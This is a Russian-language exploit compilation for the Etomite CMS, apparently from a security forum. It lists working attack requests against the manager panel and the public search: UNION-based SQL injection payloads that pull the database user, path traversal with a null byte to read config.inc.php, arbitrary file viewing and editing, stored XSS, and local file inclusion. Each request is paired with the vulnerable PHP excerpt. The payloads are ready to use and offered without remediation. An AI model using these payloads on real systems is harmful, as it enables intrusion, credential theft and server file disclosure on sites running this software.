1)Раскрытие путей Code: http://host/manager/actions/static/document_data.static.action.php Code: http://host/manager/includes/accesscontrol.inc.php 2)SQL-injection Условия: Доступ в панель администрирования Code: http://host/manager/index.php?a=3&id=-1 union select user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27/* Уязвимый код document_data.static.action.php: PHP: $id = $_REQUEST['id']; // Tree State modifications provided by Jeroen and Raymond if (isset($_GET['opened'])) $_SESSION['openedArray'] = $_GET['opened']; $sql = "SELECT * FROM $dbase.".$table_prefix."site_content WHERE $dbase.".$table_prefix."site_content.id = $id;"; $rs = mysql_query($sql); Сложность в том, что sql запрос одновременно должен быть истенным еще в файле accesscontrol.inc.php: PHP: $itemid = (isset($_REQUEST['id']) && !empty($_REQUEST['id'])) ? $_REQUEST['id'] : 'NULL'; $lasthittime = time(); $a = isset($_REQUEST['a']) ? $_REQUEST['a'] : "" ; if($a!=1) { $sql = "REPLACE INTO $dbase.".$table_prefix."active_users(internalKey, username, lasthit, action, id, ip) values(".$_SESSION['internalKey'].", '".$_SESSION['shortname']."', '".$lasthittime."', '".$a."', ".($itemid == 'NULL' ? 'NULL' : "'$itemid'").", '$ip')"; if(!$rs = mysql_query($sql)) { echo "error replacing into active users! SQL: ".$sql; exit; } } 3)SQL-injection Условия: Доступ в панель администрирования Code: В админке, заходи в поиск и в строке поиска по id пишем 1' union select 1,2,user(),4,5,6,7/* Уязвимый код search.static.action.php: PHP: <?php if(isset($_REQUEST['submitok'])) { $searchid = $_REQUEST['searchid']; $searchtitle = htmlentities($_POST['pagetitle'], ENT_QUOTES); $searchcontent = addslashes($_REQUEST['content']); $searchlongtitle = addslashes($_REQUEST['longtitle']); $sqladd .= $searchid!="" ? " AND $dbase.".$table_prefix."site_content.id='$searchid' " : "" ; $sqladd .= $searchtitle!="" ? " AND $dbase.".$table_prefix."site_content.pagetitle LIKE '%$searchtitle%' " : "" ; $sqladd .= $searchlongtitle!="" ? " AND $dbase.".$table_prefix."site_content.longtitle LIKE '%$searchlongtitle%' " : "" ; $sqladd .= $searchcontent!="" ? " AND $dbase.".$table_prefix."site_content.content LIKE '%$searchcontent%' " : "" ; $sql = "SELECT id, pagetitle, description, deleted, published, isfolder, type FROM $dbase.".$table_prefix."site_content where 1=1 ".$sqladd." ORDER BY id;"; $rs = mysql_query($sql); $limit = mysql_num_rows($rs); ?> 4)SQL-injection Условия: Доступ в панель администрирования Code: При выставлении прав групп пользователей на права просмотра группы документов подменяем в POST запросе параметр usergroup на 1'union select 1,2,3/* Уязвимый код access_groups.processor.php: PHP: $usergroup = $_REQUEST['usergroup']; if(empty($usergroup)) { echo "No user group name specified for deletion"; exit; } else { $sql = "DELETE FROM $dbase.".$table_prefix."membergroup_names WHERE id='".$usergroup."'"; if(!$rs = mysql_query($sql)) { echo "Unable to delete group. SQL failed."; exit; } 5)Работа с файлами(просмотр и редактирование любых файлов на сервере) Условия: Доступ в панель администрирования Code: http://host/manager/index.php?a=31&mode=edit&path=[full_path_to_file] Уязвимый код access_groups.processor.php: PHP: if($_REQUEST['mode'] == "edit" || $_REQUEST['mode'] == "view") { $filename=$_REQUEST['path']; $handle = @fopen($filename, "r"); if(!$handle) { echo 'Error opening file for reading.'; exit; } else { while(!feof($handle)) { $buffer .= fgets($handle, 4096); } fclose ($handle); } Линк для скачки CMS: http://www.etomite.com/index.php?app=downloads&showfile=323 PS Конструктивную критику воспринимаю очень хорошо
6)Произвольное чтение файлов Условия: MG=off и RG=on Code: http://host/manager/actions/static/document_data.static.action.php?id=3/../../../../includes/config.inc.php%00 Уязвимый код document_data.static.action.php PHP: <?php $buffer = ""; $filename = "../assets/cache/docid_".$id.".etoCache"; $handle = @fopen($filename, "r"); if(!$handle) { $buffer = "<div class=\"noSymbolPage\"><div class=\"noSymbolText\">".$_lang['page_data_notcached']."</div></div>"; } else { while (!feof($handle)) { $buffer .= fgets($handle, 4096);} fclose ($handle); $buffer=$_lang['page_data_cached']."<p><textarea style='width: 100%; border: 3px solid #4791C5;'>".htmlspecialchars($buffer)."</textarea>"; } echo $buffer; ?> 7)SQL-injection Условия: MG=off Code: В поле поиска на главной страннице вводим ')union/**/select/**/1,2,3,user()# и в конце странниц результата поиска видим пользователя mysql Уязвимый код записан в базе таблица site_snippets с именем SearchForm, или берется из настроек кэша \assets\cache\etomiteCache.idx.php тут он закодирован в base64 PHP: <?php $searchString = isset($_POST['search']) && $_POST['search']!= "{{" && $_POST['search']!= "[[" && $_POST['search']!= "[(" && $_POST['search']!= "[~" && $_POST['search']!= "[*" ? $_POST['search'] : "" ; ..... if(isset($_POST['search']) && $_POST['search']!='') { $search = explode(" ", $_POST['search']); $tbl = $etomite->dbConfig['dbase'].".".$etomite->dbConfig['table_prefix']."site_content"; $sql = "SELECT id, pagetitle, parent, description FROM $tbl WHERE ($tbl.content LIKE '%".$search[0]."%'"; for ($x=1;$x < count($search); $x++) { $sql .= " AND $tbl.content like '%$search[$x]%'"; } $sql .= " OR $tbl.pagetitle LIKE '%".$search[0]."%' "; for ($x=1;$x < count($search); $x++) { $sql .= " AND $tbl.pagetitle like '%$search[$x]%'"; } $sql .= " OR $tbl.description LIKE '%".$search[0]."%' "; for ($x=1;$x < count($search); $x++) { $sql .= " AND $tbl.description like '%$search[$x]%'"; } $sql .= ") AND $tbl.published = 1 AND $tbl.searchable=1 AND $tbl.deleted=0;"; $rs = $etomite->dbQuery($sql);
8)SQL-injection Условия: Доступ в панель администрирования Code: http://host/manager/index.php?int_cur_position=100%20union%20select%201,2,3,4,5,6,7,user%28%29/*&a=13&searchuser=&action=0&itemid=0&itemname&message=&dateto=&datefrom=&nrresults=100&log_submit=Search Уязвимый код logging.static.action.php: PHP: // If current position is not set, set it to zero if( !isset( $_REQUEST['int_cur_position'] ) || $_REQUEST['int_cur_position'] == 0 ) { $int_cur_position = 0; } else { $int_cur_position = $_REQUEST['int_cur_position']; } .... $sql .= " LIMIT ".$int_cur_position.", ".$int_num_result; $rs = mysql_query($sql); $limit = mysql_num_rows($rs); Чуть выше в этом же файле есть такие строчки: PHP: if($_REQUEST['selecteduser']!=0) $sqladd .= " AND internalKey=".$_REQUEST['selecteduser']; if($_REQUEST['action']!=0) $sqladd .= " AND action=".$_REQUEST['action']; if($_REQUEST['itemid']!=0 || $_REQUEST['itemid']=="-") $sqladd .= " AND itemid='".$_REQUEST['itemid']."'"; if($_REQUEST['itemname']) $sqladd .= " AND itemname='".$_REQUEST['itemname']."'"; if($_REQUEST['message']!="") $sqladd .= " AND message LIKE '%".$_REQUEST['message']."%'"; // date stuff if($_REQUEST['datefrom']!="") $sqladd .= " AND timestamp>=".$_REQUEST['datefrom']; if($_REQUEST['dateto']!="") $sqladd .= " AND timestamp<=" . ($_REQUEST['dateto'] + (24*60*60-1)); if($_REQUEST['datesortdir'] != '') $sqladd .= " ORDER BY timestamp " . $_REQUEST['datesortdir']; // Get number of rows $sql = "SELECT count(id) FROM $dbase.".$table_prefix."manager_log WHERE 1=1"; $sql .= $sqladd; $rs=mysql_query($sql); $countrows = mysql_fetch_assoc($rs); Все параметры уязвимы ... для реализации sql-injection подменяем любой из параметров в POST запросе на Code: 1 union select 1,2,3,4,5,6,7,user()/* И в конце странницы видим пользователя mysql
9)SQL-injection Условия: Доступ в панель администрирования Code: http://host/manager/index.php?a=10&id=1 and 3=1 union select 1,2,user(),4,5,1,7,8,9/*&m=r Уязвимый код messages.static.action.php: PHP: $sql = "SELECT * FROM $dbase.".$table_prefix."user_messages WHERE $dbase.".$table_prefix."user_messages.id=".$_REQUEST['id']; $rs = mysql_query($sql); $limit = mysql_num_rows($rs); if($limit!=1) { echo "Wrong number of messages returned!"; } else { $message=mysql_fetch_assoc($rs); if($message['recipient']!=$_SESSION['internalKey']) { echo $_lang['messages_not_allowed_to_read']; } else { // output message! // get the name of the sender $sender = $message['sender']; if($sender==0) { $sendername = $_lang['messages_system_user']; } else { $sql = "SELECT username FROM $dbase.".$table_prefix."manager_users WHERE id=$sender"; $rs2 = mysql_query($sql); $row2 = mysql_fetch_assoc($rs2); $sendername = $row2['username']; } И еще одна в этом же файле: Code: http://host/manager/index.php?a=10&t=c&m=rp&id=1 and 3=1 union select 1,2,user(),4,5,1,7,8,9/* PHP: if(($_REQUEST['m']=='rp' || $_REQUEST['m']=='f') && isset($_REQUEST['id'])) { $sql = "SELECT * FROM $dbase.".$table_prefix."user_messages WHERE $dbase.".$table_prefix."user_messages.id=".$_REQUEST['id']; $rs = mysql_query($sql); $limit = mysql_num_rows($rs); if($limit!=1) { echo "Wrong number of messages returned!"; } else { $message=mysql_fetch_assoc($rs); if($message['recipient']!=$_SESSION['internalKey']) { echo $_lang['messages_not_allowed_to_read']; } else { // output message! // get the name of the sender $sender = $message['sender']; if($sender==0) { $sendername = "[System]"; } else { $sql = "SELECT username FROM $dbase.".$table_prefix."manager_users WHERE id=$sender"; $rs2 = mysql_query($sql); $row2 = mysql_fetch_assoc($rs2); $sendername = $row2['username']; } $subjecttext = $_REQUEST['m']=='rp' ? "Re: " : "Fwd: "; $subjecttext .= $message['subject']; $messagetext = "\n\n\n-----\n".$_lang['messages_from'].": $sendername\n".$_lang['messages_sent'].": ".strftime($date_format.' @ '.$time_format, $message['postdate']+$server_offset_time)."\n".$_lang['messages_subject'].": ".$message['subject']."\n\n".$message['message']; if($_REQUEST['m']=='rp') { $recipientindex = $message['sender']; } } } } Одновременно с этими выдержками из кода ... значения переданные через id, должны не препятствовать истинности выполнить sql-запрос в следующем участке кода файла accesscontrol.inc.php: PHP: $itemid = (isset($_REQUEST['id']) && !empty($_REQUEST['id'])) ? $_REQUEST['id'] : 'NULL'; $lasthittime = time(); $a = isset($_REQUEST['a']) ? $_REQUEST['a'] : "" ; if($a!=1) { $sql = "REPLACE INTO $dbase.".$table_prefix."active_users(internalKey, username, lasthit, action, id, ip) values(".$_SESSION['internalKey'].", '".$_SESSION['shortname']."', '".$lasthittime."', '".$a."', ".($itemid == 'NULL' ? 'NULL' : "'$itemid'").", '$ip')"; if(!$rs = mysql_query($sql)) { echo "error replacing into active users! SQL: ".$sql; exit; } } 9)Active XSS Условия: Доступ в панель администрирования Не фильтруемые поля "Subject" и "Message" при отправке сообщения вставляем Code: <script>alert('hello')</script> Уязвимый код send_message.processor.php: PHP: $sendto = $_POST['sendto']; $userid = $_POST['user']; $groupid = $_POST['group']; $subject = addslashes($_POST['messagesubject']); if($subject == "") $subject = "(no subject)"; $message = addslashes($_POST['messagebody']); if($message == "") $message = "(no message)"; $postdate = time(); ............. $sql = "INSERT INTO ".$db."user_messages SET id = '', type = 'Message', subject = '$subject', message = '$message', sender = ". $_SESSION['internalKey'].", recipient = $userid, private = 1, postdate = $postdate, messageread = 0; "; $rs = mysql_query($sql);
LFI(требования: mq=off,rq=on) manager/index.php PHP: // accesscontrol.php checks to see if the user is logged in. If not, a log in form is shown include_once("includes/accesscontrol.inc.php"); includes/accesscontrol.inc.php PHP: if(isset($manager_language)) { include_once("lang/".$manager_language.".inc.php"); } else { include_once("lang/english.inc.php"); } result: Code: manager/index.php?manager_language=../../../../../[file]%00